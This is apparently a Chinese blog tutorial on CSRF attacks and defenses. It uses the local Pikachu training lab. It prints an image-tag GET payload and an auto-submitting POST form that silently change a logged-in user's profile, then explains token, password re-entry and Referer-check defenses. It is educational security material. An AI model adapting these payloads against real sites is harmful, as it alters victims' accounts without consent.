今天继续给大家介绍渗透测试相关知识,本文主要内容是CSRF漏洞利用与防御。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、CSRF漏洞利用
我们使用pikachu靶场进行CSRF漏洞的利用。
(一)GET型CSRF漏洞攻击
GET型CSRF漏洞靶场登陆后页面如下所示:
我们点击修改个人信息,就可以进入到修改个人信息的页面,如下所示:
成功修改个人信息后,如下所示:
在此过程中,我们使用Burpsuite抓包,数据包如下所示:
下面我们开始进行CSRF漏洞攻击演示。首先构造一个页面,页面只有一个img标签,标签的src属性设置为pikachu靶场更改电话号码的URL,靶场源码如下所示:
<img src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=111&add=chain&email=vince%40pikachu.com&submit=submit">
我们在登录皮卡丘靶场的页面上,直接访问该页面,结果发现pukachu靶场中vince用户的个人信息被修改,结果如下所示:
这说明,我们在访问了特制的网页后,用户在不知情的情况下,个人信息被修改了。
(二)POST型CSRF漏洞攻击
POST型CSRF漏洞靶场登录后页面如GET型相同,但是在修改信息时的提交方式是POST,数据包如下所示:
针对这种情形,我们需要改动一下页面,页面如下所示:
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="boy" />
<input id="phonenum" type="text" name="phonenum" value="1234567890" />
<input id="add" type="text" name="add" value="chain" />
<input id="email" type="text" name="email" value="vince@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
在上述代码中,我们仿照pikachu靶场设置了一个提交框,并且用JavaScript代码实现了自动提交。
访问该页面后,发现vince用户的个人信息又发生了改变,如下所示:
这说明,我们在访问了特制的网页后,用户个人信息又被修改了。
二、CSRF漏洞防御
针对CSRF漏洞,我们可以进行以下操作,以尽可能的封堵该漏洞,避免给用户造成损失。CSRF漏洞的防御主要有以下措施:
1、增加Token机制
在pikachu带有token的靶场下,数据包如下所示:
从以上可以看出,数据包在发送时,会携带token的字段,并且不同的数据包会携带不同的token。
我们还可以查看网站源代码,如下所示:
从上图中可以看出,在提交框中,有一个type为hiden的隐形input输入框,该输入框的值就是token的值。这个token会在请求网页时下发,并且在网页数据包提交后进行检查,从而使得攻击者控制用户发送的数据包失效。
2、逻辑上,设置输入原密码,输入验证码等操作。
实际上,token是最有效的防御CSRF漏洞的方式,除了使用token外,在业务逻辑上,对用户的关键操作要求输入原密码,或者是输入验证码等,也可以在一定程度上防御CSRF漏洞。
3、检测referer头
此外,referer头也是一个常见的CSRF漏洞防护措施,网站可以检测用户发送数据包的referer头,如果与本网站不一致,则说明该数据包疑似是CSRF诱导用户发送的数据包,进而采取措施。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200